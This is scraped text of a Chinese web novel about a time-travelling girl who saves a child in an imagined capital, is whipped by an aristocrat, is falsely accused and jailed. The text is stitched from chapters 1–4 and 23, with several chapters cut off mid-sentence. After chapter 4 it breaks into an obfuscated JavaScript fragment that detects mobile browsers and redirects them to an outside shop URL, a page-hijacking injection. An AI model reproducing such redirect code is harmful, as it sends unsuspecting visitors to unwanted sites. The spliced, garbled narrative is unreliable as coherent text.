《她不为妾》 1. 烈骨 《她不为妾》全本免费阅读 第一章烈骨 夏日的天气素来酷暑难耐,知了在树上叫个不停,叶清清背着竹篓往镇子上走,平日里她也没干过什么体力活,只不过是走了短短一段路便觉得有些疲乏了。 等到走到一棵枝繁叶茂的大树旁边时,她便停下了脚步,停下来休息了片刻,她带着一顶草帽,那草帽原本是叶父叶母下地用的,她戴上便显得那草帽格外的大,草帽尖尖遮住了她的大半张脸,只剩下白皙、尖尖的下巴露在外面。 夏日酷暑,草帽也没什么作用,不过是聊胜于无罢了。 纵然已经来这个世界半个月了,她却还是没有习惯这种日出而作、日落而息的日子,她原本也不过是十六、十七岁的年纪,因着上学早的缘故便跳了一级,比起班上的同学要小上一两岁,寒窗苦读多年,好不容易高考结束,父母给了一些钱,她便跟同学一起出去旅游了。 只是没想到爬山的时候出了意外,上山的时候晴空万里,可是等到下山的时候却忽然下起了小雨,那座山算不上陡峭,可不止为何她却脚下一滑摔了下去,等到再次醒来的时候就发现自己已经到了古代。 等到她醒来的时候并非是在荒郊野外,而是在一户人家中住着,叶母外出的时候见她一人昏迷在荒郊野外,便托人用牛车将她带了回来。 叶清清担心会被旁人追究自己的来历,倒不是她不真诚,而是有些事情注定无法解释清楚,她若是将所有离奇的事情都讲出来,只怕会被旁人当成妖邪伏诛,多一事不如少一事,将来若真是出了什么事情,她一人承担,叶父叶母全都不知情。 索性便道自己失忆了,除了姓氏名讳、旁的事情都不记得了,养好伤以后她便准备离开了,只是叶父叶母看她可怜,且她如今也没有户籍和身份证明,便暂时将她收留了下来,只等以后她的家人前来找寻。 其实叶清清心知肚明,她哪里还有会什么家人,她这具身子同她现代的模样一模一样,想必定然是身穿。 当时叶母发现她的时候,她身上带着许多伤口,是以叶母就将她身上的衣服全都扔了,一来是觉得衣服带血不吉利,二来则是担心留着血衣会招惹祸事。 收留她的叶父叶母都是村中的农民,两人都是早年从外地逃荒而来,便在京城远郊安定了下来,两人平日里住的比较偏僻,也不经常与旁人往来,心善收留了无家可归的叶清清,对外便宣称是远道而来投奔的侄女。 叶父叶母有一子,名为叶文,正是十五岁的年纪,容貌清秀、性格老实,但却不是快读书的料子,早两年的时候便也去京城中找了些活计,每天白日的时候出去上工,等到傍晚的时候再回来。 至于叶清清则是白日在家中帮叶母干活,叶母原本想让她干一些针线活,只是没想到她的针线活极其糟糕,莫说是拿着帕子穿针引线了,便是连穿针的动作都格外生疏,一不留神指尖上就会沁出血珠,见此叶母只能无奈地叹了口气,不忍心让叶清清到地里面干活,索性就让她到阵子上跑腿了。 平日里叶母会在农闲的时候做一些绣活,等到叶文有时间的时候,便让他将这些绣品带到京城的绣楼中买了,虽然钱不算多,可补贴家用也算是足够了。 刚好叶清清闲在家中,等到她身上的伤养好以后,叶母便让她将这些绣活送到绣楼中,等到傍晚的时候同叶文一起回来。 到古代的这些日子来,日子虽然平平淡淡,可是能安稳的活着,她已经是心满意足了,至于剩下的事情,来日方长,走一步看一步便好。 视线落在一望无际的湛蓝天空上,叶清清的思绪渐渐收拢,不知道现代社会的那个她究竟是怎么样了,爸爸妈妈现在是不是很难过? 低低地叹了口气,她伸手擦了擦面上的汗水,而后压了一下草帽,继续朝前走去,现在已经是下午了,还有好长一段路要走,她还是继续赶路吧。 一个时辰之后,叶清清总算是赶在天黑之前到了京城,找到了绣楼,往日她也随叶母一同来过这里,只是往日接待她们的都是绣娘,只是今日不知为何变成了掌柜。 叶清清觉得那掌柜的看她的眼神有些奇怪,是以也没有在绣楼中多耽误时间,卖完绣品之后就离开了。 叶文是在一家客栈打杂,等到叶清清到的时候还算比较早,她就找了个长街上的拐角坐下,将背篓放在了地上,虽说到了傍晚的时候日头已经没有那么晒了,可是天气还是闷热的很,长街上也没什么行人,她便摘下了草帽,从袖中拿出一块儿帕子擦了擦额角的汗珠,随后用右手拿着草帽扇风。 知道她在外面等他,叶文倒也没有同往常一样多干一些时辰,同客栈掌柜交代过这件事情之后,叶文便出来找叶清清了,道:“阿姐,我们一起回家吧。” 闻言,叶清清便从地上起身了,见状叶文便将地上的背篓拿了起来,现在已经是傍晚了,相比起正午,日头已经没有这么刺眼了,叶清清便只是将草帽拿在手中一下一下地扇着风。 在街边坐了这么久,她现在也逐渐平静下来了,倒是没有觉得那么热了。 二人朝着家中走去,路上都在闲聊着一些事情,叶清清想到了绣楼中发生的事情,原本是想要同叶文随口提一句,只是转念一想,她如今在叶家住着,平日里也没赚钱,也不好意这样白吃白喝,便是能做上一些小事也是极好的,大不了以后多小心一些。 是以,这件事情她也并未提及。 长街熙熙攘攘,京城向来繁华如许,只是夏日白天过于炎热,街上也没有什么人,如今到了傍晚天气凉爽了一些,街上的行人倒是多了一些。 既来之则安之,叶清清对于古代的一切都是好奇的,忍不住左右张望,只是远处忽然传来了一道马蹄疾疾的声响,她下意识抬头朝着远方望去,只见一人乘马而来、速度极快,而此时长街中间正站着一位幼童站在正中间,不知是不是吓傻了,那幼童迟迟都没有任何反应,呆呆地站在原地。 就在这电光火石的一刻,叶清清顾不得想那么多,她将草帽扔在了地上,快步冲了上去,凭借着本能抱着那位幼童躲过了一劫,她抱起那位幼童之后就脑海中一片空白,只能凭借着求生的本能将那幼童牢牢护在怀中,在地上滚了几圈避开了那马匹。 眼前一阵天旋地转,一直等到彻底安稳下来之后,叶清清才觉得脑海中的那片白茫茫雾气逐渐消散,她从地上拉着幼童爬了起来,顾不得先看察看自己身上的伤口、就连忙弯腰垂首察看那幼童身上的伤口,见那幼童身上没有什么明显的伤口之后,她才算是微微松了一口气。 可是不等她一口气舒完,就觉得肩头一痛,皮开肉绽的疼痛灼灼如烈火一般在肩头蔓延开来。 她下意识松开了幼童,转而回首看向了身后。 只见一位白衣如雪的公子坐在枣红色的马匹之上,那公子眉眼清冽、面容清俊,周身气质清冷中藏着一丝阴鸷,若不是那一丝阴郁损坏了他周身的气质,看起来倒像是九天谪仙,而非凡尘中人。 只是看了一眼,叶清清很快就收回了目光,而她的视线落在了那公子右手中握着的长鞭上,那棕褐色的长鞭犹自滴滴答答落着殷红鲜血,点点血迹落在地上仿佛开到荼蘼的杜鹃花。 红与白对比鲜明,极致矛盾。 肩头乃至背后的疼痛越来越明显,叶清清想要开口说话,一开口却就是倒吸一口凉气,她并不是一个计较的人,若真是要计较,也应该先安抚好幼童的情绪。 想到 2. 烈骨 《她不为妾》全本免费阅读 第二章烈骨 这到底是怎样一个朝代? 权贵视人命为草芥,平民百姓冷眼旁观,舍身救人是她自己的选择,她并不要求旁人对她道谢,也并不要求旁人对她夸赞,可是她也从未想过冒着生命危险救人之后会是这样的场景。 这么多天以来,她都努力控制着自己不要难过,独自一人来到陌生的古代,她努力保持乐观,可是现在却忽然很想家,她真的好想回家啊…… 可惜或许这一生再也回不去了。 叶清清站在原地,眼前一阵天旋地转,脑海中一片茫然,她不知道自己现在应该做些什么事情,只能木然地站在原地,在她过往十七载的人生中从来没有碰见过这样的事情,她记得乐于助人、匡扶正义这样的事情,却唯独不知道现在应该怎么办。 为什么背了这么多年的社会主义核心价值观,在这个朝代却都变了呢? 到底是谁错了,是这个朝代错了,还是她错了? 见她这般平静的反应,周围人倒是没想到她会是这样的反应,自知看不了什么笑话了,虽说现在是傍晚,日薄西山但还是燥热的很,便也如鸟雀一般纷纷散开了。 等到周围人散开的差不多的时候,叶文这时候才小心翼翼地走上了前,走到叶清清身边,伸手拽了拽她的袖子,小声道:“阿姐,那人是谢家的嫡公子,平日里无法无天、嚣张跋扈习惯了,挨了一鞭便算了,阿姐,以后你可不要如此冲动行事了……” 万一给家里带来麻烦就不好了…… 言毕,叶文见叶清清一副失魂落魄的模样,也没什么反应,剩下的那一句话也说不出口了,只能低低地叹了口气,随后走上前将地上的荷包捡了起来,随手掂量了一下,他眼底浮现一丝明显的喜悦,将荷包扯开看了一眼,顿时倒吸一口凉气。 黄金,竟然都是黄金。 不愧是京城谢家的嫡公子,出手果然是阔绰,一出手竟然就是这么多黄金。 叶文拿着荷包走到了叶清清身边,此时他的视线已经全然看不见她身上的伤口了,语气隐隐藏着一些雀跃,“姐,荷包里面都是金子……” 这么些金子,足够寻常人家几年的开销了。 只是没想到他的话还没有说完,叶清清便忽然伸手从他手中夺过了荷包,直接扔在了地上,而后径直朝前走去。 见她如此,叶文原本是有些生气的,可是就在叶清清转身的时候,他忽然看见了她肩头那一道醒目的鞭痕,伤口犹自在滴滴答答落着鲜血,在长街上留下点点痕迹,想到她平日里那些古怪的言行和话语,叶文只能再度低低叹了口气。 她也真是可怜,也不知是不是前些日子从山崖间坠落的时候摔倒脑子了,好端端的一个人如今变得有些失心疯了。 叶文便重新将那荷包捡了回来,复又将草帽放到背篓中,提着背篓连忙小跑追上了叶清清的步伐,视线落在叶清清肩头的鞭痕上,他也知道她是生气了,自知理亏,他追上去后便继续道:“阿姐,我们还是先去看一下大夫,包扎一下身上的伤口吧。” 闻言,叶清清忽然停下了脚步,忽而转身定定地看着叶文,掌心朝上看向了他,道:“叶文,既然赔偿给我的银子,那便应该给我,对吧?” 未曾料到她会直接这样开口,叶文愣过一瞬后倒也反应过来了,好在这些时日,他也习惯了叶清清的风言风语,总归她如今是在他家中住着的,这些钱给了她不过是从一个口袋到另一个口袋。 想到此,叶文倒是没有半分犹豫就将袖中的荷包递给了叶清清,想明白她话中的意思,他还以为她是想明白了,都已经受伤了,这钱不要岂不是可惜了? 叶文正准备开口再说两句话,却没想到叶清清居然一把拿过荷包、径直从他身边掠过,忽而提裙朝前奔去。 前些日子她也曾怀疑自己是魂穿,毕竟她醒来的时候身上的衣物全都换成叶家的了,她的身份究竟如何也无从得知,问起叶家夫妇也是一语带过,当时叶家夫妇也曾带她到官府寻亲,只是可惜京城这些日子却没有走丢的人,于是这件事情也便只能不了了之。 况且她自称失忆了,前尘往事一概都不记得了,有些事情倒也没办法开口问的太细,怕出了什么破绽,毕竟穿越这样的事情,无论在什么时候都是惊世骇闻,若是被当成妖邪抓起来就不好了。 是以因为这件事情,她便知道了官府的位置,右手紧紧地攥着荷包,她一路朝着官府奔去,她要讨回公道,她不能接受如同乞丐一般被人这样施舍,她不喜欢这个朝代,她想要回家…… 是不是死了就能回家了? 如果死了就能回家,她不活了。 残阳如火、光线灼灼,她攥着荷包拼命朝前奔去,肩头的鞭痕带着灼烧的疼痛蔓延开来,方才那人高高在上仍落荷包的场景仍然在脑中回旋,一颗自尊心寸寸粉碎。 贵人高高在上,平民贱如蝼蚁,这就是世道的残忍,独属于封|建王|朝的残忍。 既来之则安之,这个道理她懂,可是做到却是如此之难,她是现代人,她学了十几年自由平等的思想,要让她接受这个世道的残忍冷漠是何等之难。 晚风自耳边呼啸而过,她一直拼命朝前奔去,眼泪还尚未来得及流出眼眶便在一瞬间风化而尽,人人分明生而平等,可是她却要如此受人践踏,不知道一直跑了多久,她总算是跑到了府衙的门前。 但见府衙正门前挂着一块牌匾儿,“明镜高悬”四个字赫然在目。 心跳在一瞬间加快,叶清清定定地站在原地仰望着那块牌匾,脑海中思绪纷纷、错乱如流萤,她到底应该怎么做,残阳泣血,那一瞬间她忽然觉得好累…… 明镜高悬,真假难辨,她踏进府衙的大门后就真的能得到她想要的公道吗? 她不知道。 沉默许久,叶清清终究还是迈动了双腿,朝着前方走去,肩头连同背后的鞭痕又开始隐隐作痛了,来带着一颗心都仿佛碾成了齑粉,右手中攥着的荷包仿佛有千斤重,将她的尊严连同希望都一起压进深渊。 * 等到叶文匆匆赶到的时候,府衙门口已经没有人了,方才叶清清跑出去的速度实在是太快了,等到他反应过来的时候就立刻追了上去,可是却没想到还是太迟了,来到府衙门口的时候就已经不见她的踪迹了。 叶文倒是没有注意到府衙正门的牌匾,或许此时叶清清已经跑进去了,他们只是住在远郊的寻常人家,谢家可是京城三大世家之首,便是对簿公堂又如何,或许谢氏公子根本都不会出现在府衙离,阿姐这样坚持有意义吗? 正在他纠结要不要进去找阿姐的时候,忽然看见了叶清清自拐角处走了出来,见此,他心中才算是松了一口气。 面无表情从墙角走了出来,经过叶文身边的时候,叶清清平静地将荷包塞到了他的怀中,而后便头也不回地朝前走去了,若不是微微泛红的眼尾昭示了她的情绪,只怕还真以为她已经将所有的事情都放下了。 她朝着医馆走去,方才冷静下来之后就想明白了,既来之则安之,既然来到了这个朝代,她便只能适应这个朝代,有些事情是她无能为力,尊卑贵贱是这个朝代固有的诟病,这些都不是她能够左右的,她唯一能做的就是不自轻自贱。 无论是在哪里,善良都没有错。 她没有错。 不论旁人如何看待她,只要她知道自己没有错就足够了。 或许是察觉到了她的情绪低落,或许又是那一荷包的金子派上了用场,叶文在路上走着的时候倒是没有开口再责怪她冲动行事了,反而是将背篓中的草帽拿出来递给了她,一路上都没再说什么话,只是安静地在前面带路。 不过是一刻钟的功夫便到了医馆,医馆中并非只有大夫,还有一些医女,医女看见叶清清身上的伤口之后顿时倒吸一口凉气,看这伤痕已经有一段时间了,忍不住训斥了叶清清几句话,随后便拉着她到里间去处理伤口了。 处理 3. 烈骨 《她不为妾》全本免费阅读 第三章烈骨 谢虞之站在湖边,湖风吹动了他的衣袂,他负手而立垂首视线落在湖面上,每每傍晚的时候谢府早早就点起了灯,灯笼簇簇、迎风摇曳,便是湖面上也被映照的波光粼粼,恰似浮金点点跃于水面。 想到白日发生的事情,他的眼底浮现了一丝冷意,右手食指不紧不慢拨弄着食指上佩戴者的红玉扳指,倒也算是命大,只是下一次就不一定能躲过去了。 脑海中恰恰浮现这个念头,身后忽然响起了一道明显的咳嗽声,谢虞之的视线从浮金点点的水面上掠过,便是没有回首,他也能轻而易举猜到来人到底是谁,无非就是府中的那个病秧子。 谢虞之并未回首往身后看,而是径自转身离开了,许是灯笼太过刺眼,便是潜在水中的游鱼也在这一刻也探出了水面透气,发出细微的水泡声,在寂静的夜间很是明显。 谢云寂远远地站在桥头,生母生下他的时候难产,不幸故去了,他的身体便也有些孱弱,这些年用名贵中药温养着,身子倒是渐渐好了许多,可有时还是会控制不住地咳嗽。 身边的小厮见大公子一直在咳嗽,下意识伸出手想要搀扶大公子,谢云寂摆了摆手,咳嗽了一声,嗓音淡淡道:“不必了,夜深风重,我们还是先回去吧。” 随后主仆二人便转身离开,只留下簌簌摇曳的灯笼映照在湖面上。 谢氏是世家,现任家主是谢离松,年四十五岁,虽说这些年家主沉溺于女色,威严大不如从前了,可到底谢氏只有这么一个家主,只要家主尚在,谢氏便永远能够跻身三大世家之流,且前些年宋氏一族南迁,顾氏一族原本就在关外偏远之地,是以只要谢氏不分家,便永远都是京城屈指可数的世家大族。 这么多年来,谢离松对谢氏的事情都已经不大上心了,谢家内的流言蜚语也一直没有停过,可即便是如此,长老们还是要保下谢离松的族长之位。 世家大族,一荣俱荣、一损俱损,这个道理亘古不变。 谢氏是世家大族,宅子雕梁画栋、绵延百里,府中的公子姑娘们大都有自己的别院,便是奴仆们住的院子也比寻常人家要气派许多。 谢虞之是嫡子,住的院子尤为精巧别致,他身份贵重、模样又生得极好,府中侍女年少艾慕的时候也曾想过要去偷偷爬床,更有些胆大的在明目张胆勾引,谢虞之手段狠厉,冷笑一声直接命人将那侍女打了个半死、发卖了出去,并命令府中的奴仆都前去观刑,自此府中的轻浮风气才荡然无存。 当然谢府这么大的宅子必定是藏污纳垢,这些事情谢虞之并不关心,只要在他面前安安分分就行了。 至于谢云寂又不一样,生母云夫人早亡,自从云夫人故去以后,谢离松也也便自此一蹶不振了,整日流连花丛,连带着对谢云寂也忽略了许多,平日里便也只在逢年过节的时候见上谢云寂一面。 谢云寂体弱多病,自小便是用各种名贵药材温养着性命,大夫便也建议大公子住在安静的地方,是以谢府便将原先的竹林砍了、建成了一处新的院子,名为“紫竹院”,有紫气东来、福寿无疆的蕴意。 竹影绰绰,谢云寂坐在书案前抄写着一卷佛经,有位穿着黑色衣衫的小厮跪在地上禀告着白日发生的事情,闻言,谢云寂提笔的动作微微一顿,并未立刻说话,跪在地上的奴仆没有听见主子的吩咐也不敢贸然起身,只能继续跪在地上。 一刻钟过后,谢云寂总算是抄写完了佛经,他将狼毫笔放在了笔搁上,伸手将有些凌乱的佛经整理一番,随后才将佛经放在了一旁,慢条斯理开口吩咐道:“本月的佛经都在这里了,记得送到祈安寺,另外有些事情你告诉我也没什么用,主持公道是京兆尹的事情,若是京兆尹解决不了,那便转交给大理寺,这么简单的道理还不懂吗?” 闻言,那奴仆瞬间便明白主子的意思了,忙不迭起身拿走了佛经,垂首恭敬道:“是,属下明白了。” 不多时,那奴仆便退下了,书房内便只剩下了谢云寂一人,屋内点燃着白檀,他右手握拳抵在唇边控制不住地咳嗽了两声,等到稍微缓和一些的时候便又走到桌边倒了一盏茶饮下,如此才慢慢止住了咳嗽。 夜色深深,只有紫竹簌簌摇曳发出的声响,如泣如诉、如怨如慕,在寂静的夜间很是明显。 * 夜已过半,那厢谢虞之早已入睡,只是睡梦中他忽然又梦见了白日的场景,打马长街,一人忽然冲了出来,残阳似火,只见那少女一双眼眸分外明亮,容貌空灵毓琇,眼眸干净清澈如清泉。 夏日酷暑难耐,清泉分明是消暑的,可单单是想到那少女的行为和眼眸,谢虞之便觉得心底浮上一股怒意,竟也是睡不着了,索性便起身走到桌边倒了一盏凉茶,他垂眸视线落在茶盏水面上,冷笑一声,而后仰头一饮而尽凉茶。 滑天下之大稽,难不成世上当真有舍己为人的傻子不成? 且看她的一番好心能得到什么回报。 人心不古,向来如此。 * 翌日起身的时候,叶清清就觉得肩膀处格外疼痛,她忍着疼痛起身洗漱,昨日医女虽然给她开了金创药,但是医女又道?最近天气炎热,这几日还是要每日都到医馆前去换药,若不然只怕伤口会腐烂。 因着昨日那一荷包金子的缘故,叶父叶母倒是也没有说什么,甚至还专门给钱让她坐牛车到京城去换药,晨间的时候出发,等到进了京城的时候也不过是上午,时辰虽说还早,可是蒙蒙日光已经落了下来,刺的她有些睁不开眼睛。 叶清清便伸出右手在眼前挡了一下,日光确实没那么刺眼了,只是肩头和后背的伤口倒是越来越疼了,很快就到了京城远郊,她便下了牛车,带着草帽准备进城,只是没想到刚刚进城,她便被守城的官兵抓了起来。 她自然是不愿意的,哪有这般光天化日之下便随意抓人的? 难不成 4. 烈骨 《她不为妾》全本免费阅读 第四章 农夫与蛇。 这一刻,叶清清脑海中只剩下了这四个字,昔日她在现代书本上读过的那些寓言,都变成了真真切切的事实。 是她错了吗?是她不该救人?是她多管闲事? 不,善良本就没有错,错的是这个世道。 错的是这个善恶不分、人心不古的世道。 叶清清垂首跪在地上,府衙内阴测测的,一股凉意如同水蛇一般沿着她的小腿攀缘而上,一点点吞噬她心中的善意,乃至于蚕食殆尽,耳边时不时能听见苏见柔低低地啜泣声,错的不是她,她明明救了人,凭什么如今十恶不赦的人又成了她? 想到此,她眼底划过一道郁色,或许来了这个朝代这么久了,她也不算是一无所获、她也并非是没有半分长进,最起码此时她心中也无风雨也无晴①,短暂震惊过之后便是长久的平静,“大人在上,民女名为叶清清,昨日在长街上看一人打马长街险些撞到一位幼童,民女便心善救了那孩童,不成想反而被那公子用鞭子抽了一下,最后那公子扯下了腰间的荷包当作是对民女的补偿。” “民女字字句句都是真话,若有半句虚言便遭天打雷劈,大人若是不信,大可以找那位公子上门对峙,且民女肩头和后背还有鞭伤,昨日救了幼童谢英,民女原本就是心善不求回报,是以昨日那孩童抛下民女一人离开,民女也并无半分怨言,可是不成想一片心善、换来的却是今日反咬一口,还请大人为民女做主。” 言毕,叶清清早已是泪流满面、泣不成声,她跪在地上,清润秀丽的眉眼间楚楚可怜,“昨日长街上有许多百姓都看见了,大人若是不信,大可以找人来问,民女只求一个公道,便是豁出去了这条性命也在所不惜。” “说到此,民女又想起来了一件事,昨日民女与那公子当街对峙的时候,孩童谢英早就已经离开了,苏娘子是如何得知荷包中放着金子的,难不成是在民女受人刁难的时候,苏娘子就在暗中看着默不作声、害怕缠上麻烦,事后又眼热那一袋子金子,今日便恩将仇报一纸状书将民女告上了官府?” 昨日回到叶家之后,叶清清魂不守舍,并未按照医嘱换药,今日在牛车上坐着又是颠簸一路,且在烈日在暴晒了这么久,她肩头和后背的伤口早就裂开了,献血染湿了她身上的布衣,她虽是跪在堂下,可是眉眼间却是不卑不亢,依稀可以窥见她藏于柔弱皮相之下的铮铮烈骨。 苏见柔自然也是听见了这样一番话,想到晨间收下的那一袋银子,她低低在心底叹了一口气,这件事确实是她不厚道,可同样都是迫于无奈,她也没什么办法,倒是没想到那姑娘看起来柔柔弱弱的,性子倒是如此刚烈,这次的事情还真是她失策了。 拿人钱财,替人消灾。 可眼下早就木已成舟了,容不得她后悔,咬咬牙,苏见柔继续哭诉道:“大人,民女冤枉,昨日也是邻里告诉了民女荷包的事情,民女这才知晓,稚子年幼,昨日受到惊吓后慌张离开也是情有可原,若是大人不信的话,那便也只能将昨日的锦衣公子找来一问便知。” 虽然苏见柔这话说的环环相扣,可是叶清清还是敏锐察觉到了不对劲的地方,所谓螳螂捕蝉、黄雀在后便是如此,昨日那公子衣着华贵、出手阔绰,定然出身世家大族,而世家大族多藏污纳垢,明争暗斗更是从未停歇。 便是她反应再迟钝,此时也反应过来了,她明明是心善救人,却无意中成为了旁人争名夺利的棋子,她并不后悔昨日挺身而出救了那幼童,如今唯一能做的也就是认命,事已至此,她能做的也只是力争清白。 想明白了这一点之后,叶清清伏身跪下,纤长的头发在身后如同绸缎一般蜿蜒而下,肩头和背后的伤口早就裂开了,血迹斑斑、杜鹃泣血,很是触目惊心,她便索性顺着那苏娘子的话道:“民女本就不在意那些钱银,至于昨日救人本就是一片善心,若是苏娘子同妾身好好商量,转赠金子也未尝不可,可是没想到民女的善举换来的却是反咬一口,事已至此、多说无益,还请大人找来那位公子对簿公堂,还民女一个公道。” 随着她伏身的动作,肩头和后背的伤口也逐渐在面前显露,朱大人是寒门子弟,早年经由谢家提拔这才一步步做到了京兆尹的官职,为官还算是正直不阿,倒也算是对得起府衙门口挂着的那块“明镜高悬”的牌匾。 只是可惜,再刚正不阿的人行事也会有自己的权衡。 闻言,朱崇思索片刻,到底还是没有冲动行事,而是招手让自己的心腹凑了过来,那心腹便小声如是将所有的话都说了出来,“回大人,那公子正是谢虞之公子,今日谢云寂公子也派人来传话了,这件事情摆明了是谢府的家事,我们还是不要擅自插手为好……” 谢离松身为家主,沉溺女色多年早就不管谢府的事情了,府中的明争暗斗从未消减,嫡子谢虞之身份贵重,庶长子谢云寂的生母可是宠妾云夫人,自从云夫人死后,谢离松便是一蹶不振,足以看出谢云寂在家主心中的分量。 两人早年就在争权了,恨不得将对方置之死地。 城门失火,殃及池鱼,这么多年他都是兢兢业业不敢擅自站队,可没想到如今这场火到底还是烧到了他的身上。 骑虎难下,思索片刻,朱崇默默在心中叹了口气,这件事情便还是让谢虞之公子自己决定吧,那谢英的身份也不干净,依照平日里谢公子的阴晴不定、手段狠厉的性子,怎么可能留那谢英一条性命,甚至还给了那姑娘看病的银子? 想到此,朱崇心中已经有了思量,他身份低微,有些事情也只是有心无力,谢氏的事情不便插手,倒不如让谢虞之自己做决定,他右手握着惊堂木重重地拍了一下,一锤定音道:“既然如此,本官便派人寻来那公子问一番,只需要稍等片刻就可水落石出。” 言毕,他便冲着自己的心腹摆了摆手,见状,那心腹便也明白了大人的意思,连忙下去了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11443853|121514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可等到起来之后却什么都想不起来了。 醒来不久后,就有官兵端来了一盆清水,没过一会儿,就陆陆续续有人送来了许多东西,有棉被、衣衫,甚至居然还在牢房外直接围起了锦帐。 看见这一幕,叶清清更是气得浑身颤|抖,欺人太甚,当真是欺人太甚。 谢虞之这算是什么意思,谢氏当真是权势滔天,落在她身上就能压死她的事情,在他眼中不过是如同毛毛雨一般,便是她身在牢笼之中,她的一举一动仍然是他的监管之下。 她便是骨气铮铮又如何,他的权势富贵足够将她的骨头碾成齑粉。 昨日被她扔在地上的卖身契落在地上,分明是薄薄的一张纸,却似万重山压|在她的身上,压得她喘不过气来。 她转身面对着墙壁上小窗站立,日光粼粼落在她身上,猛然间竟是觉得日光有些刺眼,金光从指缝穿过,尽数化为烟云。 这样阶下囚的日子也不知要过多久。 * 日子一日|日过去了,牢房中的日子并不难熬,若是忽略时不时传来的犯人哀嚎声,单看这间牢房,倒像是什么大户人家的房间。 间或也有犯人好奇地看着这间与众不同的牢房,有揣测、有羡慕,可是只有叶清清一人知道这是个锁住她的鸟笼,她也想不明白,谢虞之这般费尽心思,究竟是为了从她身上得到什么。 转眼半个月的时日悄然逝去,叶清清还是稳然待在牢房中,从一开始的倍感屈辱到最后的习以为常。 谢虞之也只是每隔三日才随口问一句这件事,仿佛是根本不把这件事情放在心上,便是谢令自小就在公子身边伺|候,此时也是猜不透公子的心思。 公子若是对叶姑娘不上心,又何必如此大张旗鼓?若是上心,又怎会一连半月不闻不问? 往日可不曾见公子对旁人这般步步紧逼。 * 自从那日同谢虞之不欢而散之后,谢离松就离开了府邸,成日在外面厮混,觥筹交错、推杯换盏之际,也不知道是那个人不开眼,提及了苏见柔的名字。 谢离松倒是恍惚了一会儿,才想起了这么个人来,多年前他在秦楼楚馆厮混的时候,倒是认识她,后来苏见柔设计怀有身孕,他倒是没将这件事情放在身上,给了一笔钱就将她打发走了。 没想到这么多年过去了,倒是还能听见这人的名字。 “谢家主有所不知,昨日有人在街头看见那苏姑娘了,身边还跟着一个六七岁大的孩童,只是不知为何,那孩童竟是瘸了一条腿,可怜见儿的。” “哎呀,一说这件事情,我倒也是想起来了,之前谢公子打马长街的时候,不就是险些撞到一个孩童吗,那孩童好像正是苏姑娘的孩子……” 其实谢离松根本就不在意苏见柔和她的孩子,若是真在意,又岂会在多年前得知她怀有身孕的时候,草草给了一些钱就将人打发了去。 可惜,酒后就多了些情深义重的意味,摇摇晃晃就去找苏见柔了。 翌日更是吵着闹着要将苏见柔母子接回谢府。 23. 烈骨 第23章 「晋江原创独发」 京城向来没有不透风的墙,尤其是昨夜谢离松闹出了那般的动静,半夜竟是就去敲苏家的门了,苏见柔开门后见是谢离松,原本积攒的怒气顿时就烟消云散了。 当年收下钱财的时候,她就去外地了,当年谢离松给的钱也不算少,这些年她在外地倒也算滋润,可惜挥霍无度、又没有做生意的头脑,钱很快就花完了,她便再次回到了京城。 谢离松要将她接回府,苏见柔当然是愿意的。 不过是半日的功夫,谢家的闹剧便传的满城风雨,谢虞之自然也听说了这件事情,出丑的是谢离松,又不是他,他自然是漠不关心的。 至于谢云寂还在祈安寺躲清静呢,当然更是不会插手此事了,便是他知道了,恐怕也不会多加在意,毕竟当初这苏姑娘还是他派人请回来的。 当年苏见柔不就是仗着同宋夫人有几分相似,这才入了谢离松的眼吗? 道什么情深义重,归根结底不过是色令智昏罢了。 * 转眼又是五日的光阴,叶清清在牢房中一阵恍惚,恰逢傍晚,夕阳的余晖从小窗中照了进来,斑斑痕迹落在了地面上,宛如铜钱点点,她看着牢房内荒谬的一切,终究还是妥协了。 在这牢房中,她什么都干不了,他反倒是在牢房外逍遥快活,便是要谋划将来,也应该等她出狱之后。 暂时的妥协,不算是妥协。 想到此,她也便就释然了,起身走到了牢房门口唤牢头进来。 很快,牢房内的消息就送到了谢府,听见了官兵来的传话,谢令倒算是松了一口气,这场闹剧总算是要结束了,这叶姑娘来历不明,言行举止也都是奇奇怪怪,他当然不愿意公子同她有过多纠缠。 暗自思索,谢令便前去书房找公子,没想到竟是扑了个空,问了下人才知道公子如今正在后院听戏,甫一走进后院,他便听见了戏子咿咿呀呀的唱戏声,“溅血点作桃花扇,比着枝头分外鲜。①” 这出戏听了许久,公子倒是不觉得厌烦。 走近了一些,谢令便见公子模样散漫地躺在摇椅上听戏,身后有两位侍女拿着团扇扇风,他便弯腰禀告道:“公子,叶姑娘想通了。” 戏台子上的戏仍然是不停歇,谢虞之似乎是根本不将这件事放在心上,等到这一折子戏唱完之后,才c侧首似笑非笑看了一眼谢令,懒洋洋道:“既然想通了,你就去派人将她接回来吧。” 他这话说的似是而非,倒是让人好一顿揣摩。 公子只说将人接回来,可是到底应该如何安置呢? 想了许久,谢令心中才有了些决断,而后便动身去牢房了,看清楚了牢房的布置后,谢令也是忍不住在心中叹了一口气,公子这么多年来都是不近女色,如今怎么偏偏在这叶姑娘身上如此执着? “叶姑娘,公子吩咐了属下接你回府。” 闻言,叶清清心中一片冷然,回府?她本来就不是谢府的人,如何能用上一个“回”字,有些事情明明双方心知肚明,却偏偏还是要装一装样子,她低声应答过后,便随谢令一起出了牢房外。 垂柳依依,日薄西山,一辆马车正在牢房外等着,许是腿伤未好,叶清清走路还是有些一瘸一拐,等到了马车边的时候,她忽然想起了一些事情,侧首看向了谢令道:“我的包袱忘了,我还是先回去拿一下吧。” 闻言,谢令自然也是注意到了她走路时的一瘸一拐,当然不可能让她再跑一趟,“叶姑娘还是先在马车上等着吧,属下去拿。” 言毕,谢令便转身离开了。 闻言,叶清清并未立刻上马车,而是站在原地看着谢令逐渐走远,一直等到他的身影消失在眼前后,她一把拿过一旁的马鞭,翻身爬上了马。 她冷笑一声,清秀如玉的眉眼处尽是桀骜不驯,天地阻她,她便非要以血肉之躯撞出一条路来,想到此,她便毫不犹豫地拿起了马鞭,重重地在马匹身上抽了一下。 